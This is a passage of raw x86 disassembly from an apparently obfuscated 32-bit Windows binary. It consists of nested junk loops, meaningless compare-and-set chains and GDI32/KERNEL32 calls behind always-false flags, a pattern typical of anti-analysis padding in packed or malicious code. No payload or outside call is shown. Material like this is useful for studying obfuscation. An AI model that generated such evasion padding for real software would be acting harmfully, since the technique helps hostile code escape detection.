mov dword [ebp - 0x6c], 0
mov dword [ebp - 0x238], 0x9403
mov dword [ebp - 0x49c], 5
mov dword [ebp - 0x894], 0x37f5e175
mov dword [ebp - 0x3b0], 0
mov dword [ebp - 0x968], 0xd01
mov dword [ebp - 0x1820], 0x1000b098
cmp dword [ebp - 0x968], 0x104c
jle 0x100368c8
and dword [ebp - 0x3a8], 0
jmp 0x10036867
mov eax, dword [ebp - 0x3a8]
inc eax
mov dword [ebp - 0x3a8], eax
cmp dword [ebp - 0x3a8], 0xe1f
jge 0x100368c8
and dword [ebp - 0x494], 0
jmp 0x10036889
mov eax, dword [ebp - 0x494]
inc eax
mov dword [ebp - 0x494], eax
cmp dword [ebp - 0x494], 0x129e
jge 0x100368c6
mov eax, dword [ebp - 0x3a8]
and eax, dword [ebp - 0x494]
cdq
mov dword [ebp - 0x14a8], eax
mov dword [ebp - 0x14a4], edx
push dword [ebp - 0x14a4]
push dword [ebp - 0x14a8]
mov ecx, 0x1008fbf8
call fcn.100229ff
jmp 0x1003687c
jmp 0x1003685a
mov dword [ebp - 0x3b8], 0xb96bc97
cmp dword [ebp - 0x968], 0x9b3
jge 0x100368ee
mov edx, dword [ebp - 0x1820]
mov ecx, 0x1008fbf8
call fcn.1002574f
mov dword [ebp - 0x9b8], 1
mov dword [ebp - 0x6c], 0
jmp 0x10036908
mov eax, dword [ebp - 0x6c]
dec eax
mov dword [ebp - 0x6c], eax
cmp dword [ebp - 0x6c], 0xfffffffe
jle 0x10036bdb
mov dword [ebp - 0x48], 0xffffffff
mov dword [ebp - 0x988], 0xfd0fe1f2
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x1ba8], eax
mov eax, dword [ebp - 0x6c]
cmp dword [ebp - 0x48], eax
jge 0x10036955
mov eax, dword [ebp - 0x238]
mov dword [ebp - 0x1d88], eax
imul eax, dword [ebp - 0x49c], 0
cmp eax, dword [ebp - 0x48]
jge 0x10036955
and dword [ebp - 0xe20], 0
jmp 0x1003695f
mov dword [ebp - 0xe20], 1
mov eax, dword [ebp - 0x238]
imul eax, dword [ebp - 0xe20]
test eax, eax
jb 0x1003697c
mov dword [ebp - 0x970], 1
jmp 0x10036983
and dword [ebp - 0x970], 0
mov eax, dword [ebp - 0x970]
sub eax, dword [ebp - 0x6c]
imul eax, eax, 0x82ec
cmp eax, dword [ebp - 0x6c]
jg 0x100369a3
mov dword [ebp - 0x11a8], 1
jmp 0x100369aa
and dword [ebp - 0x11a8], 0
mov eax, dword [ebp - 0x48]
imul eax, dword [ebp - 0x11a8]
test eax, eax
jb 0x100369ca
cmp dword [ebp - 0x48], 0
je 0x100369ca
mov dword [ebp - 0x978], 1
jmp 0x100369d1
and dword [ebp - 0x978], 0
mov eax, dword [ebp - 0x238]
cmp dword [ebp - 0x978], eax
jle 0x100369eb
mov dword [ebp - 0xe28], 1
jmp 0x100369f2
and dword [ebp - 0xe28], 0
mov eax, dword [ebp - 0xe28]
add eax, 8
jne 0x10036a0f
cmp dword [ebp - 0x48], 0
jne 0x10036a0f
mov dword [ebp - 0x980], 1
jmp 0x10036a16
and dword [ebp - 0x980], 0
mov eax, dword [ebp - 0x6c]
cmp dword [ebp - 0x980], eax
jne 0x10036a33
cmp dword [ebp - 0x48], 0
je 0x10036a33
mov dword [ebp - 0x1080], 1
jmp 0x10036a3a
and dword [ebp - 0x1080], 0
mov eax, dword [ebp - 0x1080]
mov dword [ebp - 0x988], eax
cmp dword [ebp - 0x988], 0xb56b
jne 0x10036a67
cmp dword [ebp - 0x49c], 0
je 0x10036a67
mov dword [ebp - 0xe30], 1
jmp 0x10036a6e
and dword [ebp - 0xe30], 0
mov eax, dword [ebp - 0x48]
cmp dword [ebp - 0xe30], eax
jg 0x10036a85
mov dword [ebp - 0x990], 1
jmp 0x10036a8c
and dword [ebp - 0x990], 0
mov eax, dword [ebp - 0x48]
cmp dword [ebp - 0x990], eax
jg 0x10036aa3
mov dword [ebp - 0x1250], 1
jmp 0x10036aaa
and dword [ebp - 0x1250], 0
mov eax, dword [ebp - 0x1250]
inc eax
je 0x10036ac5
cmp dword [ebp - 0x48], 0
je 0x10036ac5
mov dword [ebp - 0x998], 1
jmp 0x10036acc
and dword [ebp - 0x998], 0
mov eax, dword [ebp - 0x48]
imul eax, dword [ebp - 0x998]
test eax, eax
jne 0x10036ae6
mov dword [ebp - 0xe38], 1
jmp 0x10036aed
and dword [ebp - 0xe38], 0
mov eax, dword [ebp - 0x48]
cmp dword [ebp - 0xe38], eax
jge 0x10036b04
mov dword [ebp - 0x9a0], 1
jmp 0x10036b0b
and dword [ebp - 0x9a0], 0
mov eax, dword [ebp - 0x49c]
cmp dword [ebp - 0x9a0], eax
jge 0x10036b25
mov dword [ebp - 0x1088], 1
jmp 0x10036b2c
and dword [ebp - 0x1088], 0
mov eax, dword [ebp - 0x1088]
mov dword [ebp - 0x894], eax
cmp dword [ebp - 0x894], 0x57a8
jge 0x10036b50
mov dword [ebp - 0x9a8], 1
jmp 0x10036b57
and dword [ebp - 0x9a8], 0
mov eax, dword [ebp - 0x48]
cmp dword [ebp - 0x9a8], eax
je 0x10036b6e
mov dword [ebp - 0xe40], 1
jmp 0x10036b75
and dword [ebp - 0xe40], 0
cmp dword [ebp - 0xe40], 0x9f4a
jg 0x10036b8d
mov dword [ebp - 0x9b0], 1
jmp 0x10036b94
and dword [ebp - 0x9b0], 0
mov eax, dword [ebp - 0x9b0]
mov dword [ebp - 0x3b0], eax
mov eax, dword [ebp - 0x3b0]
imul eax, dword [ebp - 0x6c]
test eax, eax
jne 0x10036bc0
cmp dword [ebp - 0x238], 0
jne 0x10036bc0
and dword [ebp - 0x11b0], 0
jmp 0x10036bca
mov dword [ebp - 0x11b0], 1
mov eax, dword [ebp - 0x11b0]
mov dword [ebp - 0x3b8], eax
jmp 0x10036901
mov eax, dword [ebp - 0x3b8]
mov dword [ebp - 0x1bb0], eax
mov eax, dword [ebp - 0x238]
sub eax, dword [ebp - 0x6c]
jne 0x10036c2b
mov eax, dword [ebp - 0x238]
mov dword [ebp - 0x1e34], eax
mov eax, dword [ebp - 0x9b8]
mov dword [ebp - 0x1bb8], eax
mov eax, dword [ebp - 0x3b0]
mov dword [ebp - 0x1d94], eax
cmp dword [ebp - 0x9b8], 0x1a3a
jl 0x10036c2b
and dword [ebp - 0xe48], 0
jmp 0x10036c35
mov dword [ebp - 0xe48], 1
mov eax, dword [ebp - 0x894]
cmp dword [ebp - 0xe48], eax
jl 0x10036c4f
mov dword [ebp - 0x1828], 1
jmp 0x10036c56
and dword [ebp - 0x1828], 0
mov eax, dword [ebp - 0x6c]
mov dword [ebp - 0x1bc0], eax
mov eax, dword [ebp - 0x3b0]
mov dword [ebp - 0x3b8], eax
mov eax, dword [ebp - 0x49c]
cmp dword [ebp - 0x3b8], eax
jle 0x10036c85
mov dword [ebp - 0x9c0], 1
jmp 0x10036c8c
and dword [ebp - 0x9c0], 0
mov eax, dword [ebp - 0x9c0]
mov dword [ebp - 0x6c], eax
mov dword [ebp - 0x23c], 0xb110c93b
push 3
lea ecx, [ebp - 0x1b14]
call fcn.10022d19
mov dword [ebp - 4], 6
mov dword [ebp - 0xb0], 0
jmp 0x10036ccc
mov eax, dword [ebp - 0xb0]
inc eax
mov dword [ebp - 0xb0], eax
cmp dword [ebp - 0xb0], 3
jge 0x10036cee
push dword [ebp - 0xb0]
lea ecx, [ebp - 0x1b14]
call fcn.10022db7
mov dword [eax], 0xec79e672
jmp 0x10036cbf
mov dword [ebp - 0xb0], 0
jmp 0x10036d07
mov eax, dword [ebp - 0xb0]
inc eax
mov dword [ebp - 0xb0], eax
cmp dword [ebp - 0xb0], 2
jge 0x10036d23
mov eax, dword [ebp - 0xb0]
mov dword [ebp + eax*4 - 0x1d90], 0xf13e13a6
jmp 0x10036cfa
mov dword [ebp - 0x23c], 0
jmp 0x10036d3c
mov eax, dword [ebp - 0x23c]
dec eax
mov dword [ebp - 0x23c], eax
cmp dword [ebp - 0x23c], 0xffffffec
jl 0x10036f8e
mov dword [ebp - 0x9c8], 0xffffffff
push 1
lea ecx, [ebp - 0x1a78]
call fcn.10022d19
mov byte [ebp - 4], 7
mov dword [ebp - 0x1090], 0x31c2
mov dword [ebp - 0x1830], 0x1000b110
cmp dword [ebp - 0x1090], 0x322f
jle 0x10036e6e
push 0
push 0
call dword [sym.imp.GDI32.dll_CopyEnhMetaFileA]
and dword [ebp - 0x4ac], 0
jmp 0x10036da8
mov eax, dword [ebp - 0x4ac]
inc eax
mov dword [ebp - 0x4ac], eax
cmp dword [ebp - 0x4ac], 0x4c0f
jge 0x10036e6e
and dword [ebp - 0x4a4], 0
jmp 0x10036dce
mov eax, dword [ebp - 0x4a4]
inc eax
mov dword [ebp - 0x4a4], eax
cmp dword [ebp - 0x4a4], 0x804c
jge 0x10036e69
and dword [ebp - 0x3c0], 0
jmp 0x10036df4
mov eax, dword [ebp - 0x3c0]
inc eax
mov dword [ebp - 0x3c0], eax
cmp dword [ebp - 0x3c0], 0x28de
jge 0x10036e64
and dword [ebp - 0x3c8], 0
jmp 0x10036e16
mov eax, dword [ebp - 0x3c8]
inc eax
mov dword [ebp - 0x3c8], eax
cmp dword [ebp - 0x3c8], 0x1fd
jge 0x10036e62
mov eax, dword [ebp - 0x4a4]
cdq
idiv dword [ebp - 0x3c0]
or edx, dword [ebp - 0x4ac]
or edx, dword [ebp - 0x3c8]
mov eax, edx
cdq
mov dword [ebp - 0x14b4], eax
mov dword [ebp - 0x14b0], edx
push dword [ebp - 0x14b0]
push dword [ebp - 0x14b4]
mov ecx, 0x1008fbf8
call fcn.100229ff
jmp 0x10036e09
jmp 0x10036de7
jmp 0x10036dc1
jmp 0x10036d9b
mov dword [ebp - 0x4b4], 0
jmp 0x10036e87
mov eax, dword [ebp - 0x4b4]
inc eax
mov dword [ebp - 0x4b4], eax
cmp dword [ebp - 0x4b4], 1
jge 0x10036ea6
push dword [ebp - 0x4b4]
lea ecx, [ebp - 0x1a78]
call fcn.10022db7
and dword [eax], 0
jmp 0x10036e7a
cmp dword [ebp - 0x1090], 0x3029
jge 0x10036ec2
mov edx, dword [ebp - 0x1830]
mov ecx, 0x1008fbf8
call fcn.1002574f
mov eax, dword [ebp - 0x9c8]
mov dword [ebp - 0x1e64], eax
cmp dword [ebp - 0x9c8], 0x87a7
jle 0x10036ee6
mov dword [ebp - 0x9d0], 1
jmp 0x10036eed
and dword [ebp - 0x9d0], 0
mov eax, dword [ebp - 0x23c]
mov dword [ebp - 0xe50], eax
push 0
lea ecx, [ebp - 0x1b14]
call fcn.10022db7
mov ecx, dword [ebp - 0xe50]
mov dword [eax], ecx
mov eax, dword [ebp - 0xe50]
shl eax, 1
cmp eax, dword [ebp - 0x9d0]
jne 0x10036f2a
mov dword [ebp - 0x1290], 1
jmp 0x10036f31
and dword [ebp - 0x1290], 0
mov eax, dword [ebp - 0x23c]
cmp eax, dword [ebp - 0x1290]
jge 0x10036f4b
mov dword [ebp - 0x7ec], 1
jmp 0x10036f52
and dword [ebp - 0x7ec], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x7ec]
mov dword [ebp + eax - 0x1d90], ecx
push 0
lea ecx, [ebp - 0x1a78]
call fcn.10022db7
mov ecx, dword [ebp - 0x7ec]
mov dword [eax], ecx
mov byte [ebp - 4], 6
lea ecx, [ebp - 0x1a78]
call fcn.10022d9b
jmp 0x10036d2f
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1b14]
call fcn.10022d9b
cmp dword [0x10095018], 0
jne 0x1003c27d
mov dword [ebp - 0x2c8], 9
mov dword [ebp - 0x2c8], 0xffffffe6
jmp 0x10036fcd
mov eax, dword [ebp - 0x2c8]
inc eax
mov dword [ebp - 0x2c8], eax
cmp dword [ebp - 0x2c8], 0x10
jne 0x100372f0
push 3
lea ecx, [ebp - 0x1868]
call fcn.10022d19
mov dword [ebp - 4], 8
mov dword [ebp - 0x4bc], 0xfa5c62e0
mov dword [ebp - 0x3d0], 0
jmp 0x10037011
mov eax, dword [ebp - 0x3d0]
inc eax
mov dword [ebp - 0x3d0], eax
cmp dword [ebp - 0x3d0], 3
jge 0x10037033
push dword [ebp - 0x3d0]
lea ecx, [ebp - 0x1868]
call fcn.10022db7
mov dword [eax], 0xc2039807
jmp 0x10037004
mov dword [ebp - 0x4bc], 2
jmp 0x1003704c
mov eax, dword [ebp - 0x4bc]
dec eax
mov dword [ebp - 0x4bc], eax
cmp dword [ebp - 0x4bc], 0
jl 0x100372bc
mov dword [ebp - 0x26c], 3
mov dword [ebp - 0x85c], 0xc27f355c
mov dword [ebp - 0x26c], 0
jmp 0x10037086
mov eax, dword [ebp - 0x26c]
inc eax
mov dword [ebp - 0x26c], eax
cmp dword [ebp - 0x26c], 2
jg 0x100372b7
mov dword [ebp - 0x3d8], 0
jmp 0x100370ac
mov eax, dword [ebp - 0x3d8]
inc eax
mov dword [ebp - 0x3d8], eax
cmp dword [ebp - 0x3d8], 2
jge 0x100370c8
mov eax, dword [ebp - 0x3d8]
mov dword [ebp + eax*4 - 0x8d4], 0x9ba095a9
jmp 0x1003709f
mov byte [ebp - 0x180], 0
movzx eax, byte [ebp - 0x180]
test eax, eax
je 0x100370e2
push 0
call dword [sym.imp.GDI32.dll_RealizePalette]
push 4
pop eax
shl eax, 0
mov dword [ebp + eax - 0x8d4], 2
jmp 0x10037110
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x8d4]
dec eax
push 4
pop ecx
shl ecx, 0
mov dword [ebp + ecx - 0x8d4], eax
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x8d4], 0
jl 0x100372b2
mov dword [ebp - 0x1f8], 0x461e3ff1
mov dword [ebp - 0x1838], 0xf748bbe2
mov dword [ebp - 0x1840], 0x9fa9ef81
mov dword [ebp - 0x1f8], 0
jmp 0x1003715b
mov eax, dword [ebp - 0x1f8]
inc eax
mov dword [ebp - 0x1f8], eax
cmp dword [ebp - 0x1f8], 2
jg 0x10037291
push 0
lea ecx, [ebp - 0x1868]
call fcn.10022db7
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x8d4]
mov dword [ebp - 0x1bc8], eax
xor eax, eax
inc eax
cmp eax, 0xffffffff
jb 0x1003719c
mov dword [ebp - 0x9d8], 1
jmp 0x100371a3
and dword [ebp - 0x9d8], 0
push dword [ebp - 0x1f8]
lea ecx, [ebp - 0x1868]
call fcn.10022db7
mov eax, dword [eax]
sub eax, dword [ebp - 0x9d8]
imul eax, dword [ebp - 0x85c]
test eax, eax
je 0x100371dc
mov eax, 0xffff
test eax, eax
je 0x100371dc
mov dword [ebp - 0xe58], 1
jmp 0x100371e3
and dword [ebp - 0xe58], 0
cmp dword [ebp - 0xe58], 0xd1883800
jb 0x100371fb
mov dword [ebp - 0x9e0], 1
jmp 0x10037202
and dword [ebp - 0x9e0], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x8d4]
cmp dword [ebp - 0x9e0], eax
jg 0x10037225
or eax, 0xffffffff
jne 0x10037225
and dword [ebp - 0x1098], 0
jmp 0x1003722f
mov dword [ebp - 0x1098], 1
push dword [ebp - 0x1f8]
lea ecx, [ebp - 0x1868]
call fcn.10022db7
mov eax, dword [eax]
imul eax, dword [ebp - 0x1098]
mov dword [ebp - 0x85c], eax
mov eax, dword [ebp - 0x85c]
mov dword [ebp - 0x1838], eax
cmp dword [ebp - 0x2c8], 0
je 0x10037279
cmp dword [ebp - 0x26c], 0
je 0x10037279
mov dword [ebp - 0x9e8], 1
jmp 0x10037280
and dword [ebp - 0x9e8], 0
mov eax, dword [ebp - 0x9e8]
mov dword [ebp - 0x1840], eax
jmp 0x1003714e
mov byte [ebp - 0x182], 0
movzx eax, byte [ebp - 0x182]
test eax, eax
je 0x100372ad
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetCommState]
jmp 0x100370f5
jmp 0x10037079
jmp 0x1003703f
mov byte [ebp - 0x184], 0
movzx eax, byte [ebp - 0x184]
test eax, eax
je 0x100372dc
push 0
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_GetPaletteEntries]
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1868]
call fcn.10022d9b
jmp 0x10036fc0
mov dword [ebp - 0x1848], 0x7ef7
lea eax, [ebp - 0x1848]
push eax
call fcn.1002f5f1
pop ecx
mov dword [ebp - 0xcb8], eax
push 3
lea ecx, [ebp - 0x12ac]
call fcn.10022d19
mov dword [ebp - 4], 9
mov dword [ebp - 0x220], 0xffffffff
mov dword [ebp - 0xe60], 0x77f
mov dword [ebp - 0x1858], 0x1000b158
cmp dword [ebp - 0xe60], 0x986
jle 0x100373ef
and dword [ebp - 0x4c4], 0
jmp 0x10037365
mov eax, dword [ebp - 0x4c4]
inc eax
mov dword [ebp - 0x4c4], eax
cmp dword [ebp - 0x4c4], 0x39d3
jge 0x100373ef
and dword [ebp - 0x3e0], 0
jmp 0x10037387
mov eax, dword [ebp - 0x3e0]
inc eax
mov dword [ebp - 0x3e0], eax
cmp dword [ebp - 0x3e0], 0x3653
jge 0x100373ea
mov eax, dword [ebp - 0x4c4]
xor eax, dword [ebp - 0x3e0]
cdq
mov dword [ebp - 0x14c0], eax
mov dword [ebp - 0x14bc], edx
push dword [ebp - 0x14bc]
push dword [ebp - 0x14c0]
lea ecx, [ebp - 0x201c]
call fcn.100128ee
pop ecx
pop ecx
mov dword [ebp - 0x1850], eax
mov ecx, dword [ebp - 0x1850]
call fcn.100229df
push eax
call fcn.10074e83
pop ecx
lea ecx, [ebp - 0x201c]
call fcn.100229d5
jmp 0x1003737a
jmp 0x10037358
mov dword [ebp - 0xa00], 0x80335900
cmp dword [ebp - 0xe60], 0x3b4
jge 0x10037411
push dword [ebp - 0x1858]
call fcn.10074e83
pop ecx
push 1
lea ecx, [ebp - 0x1ae4]
call fcn.10022d19
mov byte [ebp - 4], 0xa
mov dword [ebp - 0xd8], 0
jmp 0x1003743b
mov eax, dword [ebp - 0xd8]
inc eax
mov dword [ebp - 0xd8], eax
cmp dword [ebp - 0xd8], 3
jge 0x1003745d
push dword [ebp - 0xd8]
lea ecx, [ebp - 0x12ac]
call fcn.10022db7
mov dword [eax], 0xfffe
jmp 0x1003742e
mov dword [ebp - 0xd8], 0
jmp 0x10037476
mov eax, dword [ebp - 0xd8]
inc eax
mov dword [ebp - 0xd8], eax
cmp dword [ebp - 0xd8], 1
jge 0x10037498
push dword [ebp - 0xd8]
lea ecx, [ebp - 0x1ae4]
call fcn.10022db7
mov dword [eax], 0xa117216
jmp 0x10037469
mov dword [ebp - 0x220], 2
jmp 0x100374b1
mov eax, dword [ebp - 0x220]
dec eax
mov dword [ebp - 0x220], eax
cmp dword [ebp - 0x220], 0
jl 0x10037797
mov dword [ebp - 0x8c0], 0xf8256a9e
mov dword [ebp - 0x8bc], 0xf8256a9e
mov dword [ebp - 0x8b8], 0xf8256a9e
mov dword [ebp - 0x8b4], 0xf8256a9e
mov dword [ebp - 0x4cc], 0
jmp 0x100374ff
mov eax, dword [ebp - 0x4cc]
inc eax
mov dword [ebp - 0x4cc], eax
cmp dword [ebp - 0x4cc], 3
jge 0x1003751b
mov eax, dword [ebp - 0x4cc]
mov dword [ebp + eax*4 - 0x1ebc], 0x3ecdc0f1
jmp 0x100374f2
push 4
pop eax
imul eax, eax, 3
mov dword [ebp + eax - 0x8c0], 2
jmp 0x10037549
push 4
pop eax
imul eax, eax, 3
mov eax, dword [ebp + eax - 0x8c0]
dec eax
push 4
pop ecx
imul ecx, ecx, 3
mov dword [ebp + ecx - 0x8c0], eax
push 4
pop eax
imul eax, eax, 3
cmp dword [ebp + eax - 0x8c0], 0
jl 0x10037792
mov dword [ebp - 0x200], 0xac488899
mov dword [ebp - 0x1298], 0x717b38e5
mov dword [ebp - 0x200], 0
jmp 0x1003758a
mov eax, dword [ebp - 0x200]
inc eax
mov dword [ebp - 0x200], eax
cmp dword [ebp - 0x200], 2
jg 0x1003778d
mov dword [ebp - 0x9f0], 0x963ec58f
mov dword [ebp - 0xa08], 0x6ae3d475
or eax, 0xffffffff
je 0x1003761d
mov eax, dword [ebp - 0x220]
mov dword [ebp - 0x1da0], eax
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x8c0]
mov dword [ebp - 0x1bd0], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x8c0]
mov dword [ebp - 0x1de4], eax
xor eax, eax
sub eax, dword [ebp - 0x220]
mov dword [ebp - 0x9f0], eax
mov esi, dword [ebp - 0x9f0]
push 4
pop eax
imul eax, eax, 3
push dword [ebp + eax - 0x8c0]
lea ecx, [ebp - 0x12ac]
call fcn.10022db7
cmp esi, dword [eax]
jne 0x1003761d
mov dword [ebp - 0x11b8], 1
jmp 0x10037624
and dword [ebp - 0x11b8], 0
mov eax, dword [ebp - 0x200]
cmp dword [ebp - 0x11b8], eax
jl 0x1003763e
mov dword [ebp - 0x1910], 1
jmp 0x10037645
and dword [ebp - 0x1910], 0
push 1
lea ecx, [ebp - 0x12ac]
call fcn.10022db7
mov eax, dword [ebp - 0x200]
mov dword [ebp - 0x1bd8], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x8c0]
mov dword [ebp - 0x1db0], eax
cmp dword [ebp - 0xa00], 0xfffffffe
je 0x10037686
mov dword [ebp - 0x9f8], 1
jmp 0x1003768d
and dword [ebp - 0x9f8], 0
push 4
pop eax
imul eax, eax, 3
push dword [ebp + eax - 0x8c0]
lea ecx, [ebp - 0x12ac]
call fcn.10022db7
mov eax, dword [eax]
cmp eax, dword [ebp - 0x9f8]
jge 0x100376bb
mov dword [ebp - 0xe68], 1
jmp 0x100376c2
and dword [ebp - 0xe68], 0
push 4
pop eax
imul eax, eax, 3
mov eax, dword [ebp + eax - 0x8c0]
add eax, dword [ebp - 0xe68]
je 0x100376de
cmp dword [ebp - 0xa00], 0
push 4
pop eax
imul eax, eax, 3
push dword [ebp + eax - 0x8c0]
lea ecx, [ebp - 0x12ac]
call fcn.10022db7
mov dword [ebp - 0x10a0], eax
push 1
lea ecx, [ebp - 0x12ac]
call fcn.10022db7
mov ecx, dword [ebp - 0x10a0]
mov eax, dword [eax]
mov dword [ecx], eax
mov eax, dword [ebp - 0xa08]
mov ecx, dword [ebp - 0x10a0]
cmp dword [ecx], eax
jg 0x1003772f
mov dword [ebp - 0xe70], 1
jmp 0x10037736
and dword [ebp - 0xe70], 0
mov eax, dword [ebp - 0xa08]
cmp dword [ebp - 0xe70], eax
je 0x10037750
mov dword [ebp - 0xa10], 1
jmp 0x10037757
and dword [ebp - 0xa10], 0
push 0
lea ecx, [ebp - 0x1ae4]
call fcn.10022db7
mov ecx, dword [ebp - 0xa10]
mov dword [eax], ecx
mov dword [ebp - 0x1298], 0xfffffff7
push 4
pop eax
shl eax, 1
mov ecx, dword [ebp - 0x1298]
mov dword [ebp + eax - 0x1ebc], ecx
jmp 0x1003757d
jmp 0x1003752e
jmp 0x100374a4
mov byte [ebp - 4], 9
lea ecx, [ebp - 0x1ae4]
call fcn.10022d9b
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x12ac]
call fcn.10022d9b
mov dword [ebp - 0x130], 0xffffffff
mov dword [ebp - 0x10c], 3
mov dword [ebp - 0x130], 0x1d
jmp 0x100377e2
mov eax, dword [ebp - 0x130]
dec eax
mov dword [ebp - 0x130], eax
cmp dword [ebp - 0x130], 0x16
jne 0x10037b81
mov dword [ebp - 0x198], 0
mov dword [ebp - 0x7f4], 0x3813bf58
mov dword [ebp - 0x874], 0xc3f30b9
mov dword [ebp - 0x1a0], 9
mov dword [ebp - 0xa60], 0x2059515e
mov eax, dword [ebp - 0x10c]
neg eax
sub eax, dword [ebp - 0x130]
je 0x10037846
cmp dword [ebp - 0x198], 0
je 0x10037846
mov dword [ebp - 0xa18], 1
jmp 0x1003784d
and dword [ebp - 0xa18], 0
cmp dword [ebp - 0xa18], 1
jge 0x10037862
mov dword [ebp - 0xe78], 1
jmp 0x10037869
and dword [ebp - 0xe78], 0
mov eax, dword [ebp - 0x130]
cmp dword [ebp - 0xe78], eax
jge 0x1003788c
mov eax, 0x412894f
test eax, eax
je 0x1003788c
mov dword [ebp - 0xa20], 1
jmp 0x10037893
and dword [ebp - 0xa20], 0
mov eax, dword [ebp - 0x198]
add eax, dword [ebp - 0xa20]
cmp eax, dword [ebp - 0x198]
jge 0x100378b3
mov dword [ebp - 0x10a8], 1
jmp 0x100378ba
and dword [ebp - 0x10a8], 0
mov eax, dword [ebp - 0x10c]
cmp dword [ebp - 0x10a8], eax
jg 0x100378d4
mov dword [ebp - 0xa28], 1
jmp 0x100378db
and dword [ebp - 0xa28], 0
mov eax, dword [ebp - 0xa28]
mov dword [ebp - 0x7f4], eax
cmp dword [ebp - 0x7f4], 0xe07ea4c5
jbe 0x100378ff
mov dword [ebp - 0xe80], 1
jmp 0x10037906
and dword [ebp - 0xe80], 0
mov eax, dword [ebp - 0x874]
cmp dword [ebp - 0xe80], eax
jg 0x10037920
mov dword [ebp - 0xa30], 1
jmp 0x10037927
and dword [ebp - 0xa30], 0
mov eax, dword [ebp - 0x198]
cmp eax, dword [ebp - 0xa30]
jg 0x10037941
mov dword [ebp - 0x11c0], 1
jmp 0x10037948
and dword [ebp - 0x11c0], 0
mov eax, dword [ebp - 0x198]
cmp dword [ebp - 0x11c0], eax
jne 0x10037962
mov dword [ebp - 0xa38], 1
jmp 0x10037969
and dword [ebp - 0xa38], 0
mov eax, dword [ebp - 0x198]
cmp dword [ebp - 0xa38], eax
jne 0x1003798c
cmp dword [ebp - 0x874], 0
je 0x1003798c
mov dword [ebp - 0xe88], 1
jmp 0x10037993
and dword [ebp - 0xe88], 0
mov eax, dword [ebp - 0x198]
cmp dword [ebp - 0xe88], eax
jle 0x100379ad
mov dword [ebp - 0xa40], 1
jmp 0x100379b4
and dword [ebp - 0xa40], 0
mov eax, dword [ebp - 0x10c]
cmp eax, dword [ebp - 0xa40]
jle 0x100379ce
mov dword [ebp - 0x10b0], 1
jmp 0x100379d5
and dword [ebp - 0x10b0], 0
mov eax, dword [ebp - 0x10c]
cmp dword [ebp - 0x10b0], eax
jne 0x100379ef
mov dword [ebp - 0xa48], 1
jmp 0x100379f6
and dword [ebp - 0xa48], 0
mov eax, dword [ebp - 0xa48]
add eax, 0x31ea0627
cmp dword [ebp - 0x130], eax
jle 0x10037a15
mov dword [ebp - 0xe90], 1
jmp 0x10037a1c
and dword [ebp - 0xe90], 0
cmp dword [ebp - 0xe90], 0xa7c6dd3
jge 0x10037a34
mov dword [ebp - 0xa50], 1
jmp 0x10037a3b
and dword [ebp - 0xa50], 0
mov eax, dword [ebp - 0x10c]
cmp dword [ebp - 0xa50], eax
jg 0x10037a55
mov dword [ebp - 0x125c], 1
jmp 0x10037a5c
and dword [ebp - 0x125c], 0
mov eax, dword [ebp - 0x125c]
mov dword [ebp - 0x1a0], eax
cmp dword [ebp - 0x10c], 0
je 0x10037ae3
cmp dword [ebp - 0x1a0], 0
je 0x10037ad6
cmp dword [ebp - 0x7f4], 0xffffffff
jbe 0x10037a8f
mov dword [ebp - 0xa58], 1
jmp 0x10037a96
and dword [ebp - 0xa58], 0
cmp dword [ebp - 0xa58], 0x65fb
jne 0x10037aae
mov dword [ebp - 0xe98], 1
jmp 0x10037ab5
and dword [ebp - 0xe98], 0
mov eax, dword [ebp - 0xe98]
mov dword [ebp - 0xa60], eax
cmp dword [ebp - 0xa60], 0
je 0x10037ad6
mov dword [ebp - 0x10b8], 1
jmp 0x10037add
and dword [ebp - 0x10b8], 0
mov eax, dword [ebp - 0x1a0]
mov eax, dword [ebp - 0x1a0]
cmp dword [ebp - 0x1a0], eax
jg 0x10037b06
cmp dword [ebp - 0x10c], 0
je 0x10037b06
mov dword [ebp - 0xa68], 1
jmp 0x10037b0d
and dword [ebp - 0xa68], 0
mov eax, dword [ebp - 0x874]
cmp dword [ebp - 0xa68], eax
jle 0x10037b27
mov dword [ebp - 0xea0], 1
jmp 0x10037b2e
and dword [ebp - 0xea0], 0
mov eax, dword [ebp - 0x10c]
cmp dword [ebp - 0xea0], eax
jg 0x10037b48
mov dword [ebp - 0xa70], 1
jmp 0x10037b4f
and dword [ebp - 0xa70], 0
mov eax, dword [ebp - 0x1a0]
cmp dword [ebp - 0xa70], eax
jle 0x10037b69
mov dword [ebp - 0x11c8], 1
jmp 0x10037b70
and dword [ebp - 0x11c8], 0
mov eax, dword [ebp - 0x11c8]
mov dword [ebp - 0x1a0], eax
jmp 0x100377d5
mov dword [ebp - 0x10c0], 0xffffffff
push 3
lea ecx, [ebp - 0x1b44]
call fcn.10022d19
mov dword [ebp - 4], 0xb
mov dword [ebp - 0xa78], 0x5ddb
mov dword [ebp - 0x1920], 0x1000b1a0
cmp dword [ebp - 0xa78], 0x60da
jle 0x10037c6f
and dword [ebp - 0x3e8], 0
jmp 0x10037bd9
mov eax, dword [ebp - 0x3e8]
inc eax
mov dword [ebp - 0x3e8], eax
cmp dword [ebp - 0x3e8], 0x5b85
jge 0x10037c63
and dword [ebp - 0x4d4], 0
jmp 0x10037bfb
mov eax, dword [ebp - 0x4d4]
inc eax
mov dword [ebp - 0x4d4], eax
cmp dword [ebp - 0x4d4], 0x789a
jge 0x10037c5e
mov eax, dword [ebp - 0x3e8]
sub eax, dword [ebp - 0x4d4]
cdq
mov dword [ebp - 0x14cc], eax
mov dword [ebp - 0x14c8], edx
push dword [ebp - 0x14c8]
push dword [ebp - 0x14cc]
lea ecx, [ebp - 0x219c]
call fcn.100128ee
pop ecx
pop ecx
mov dword [ebp - 0x1918], eax
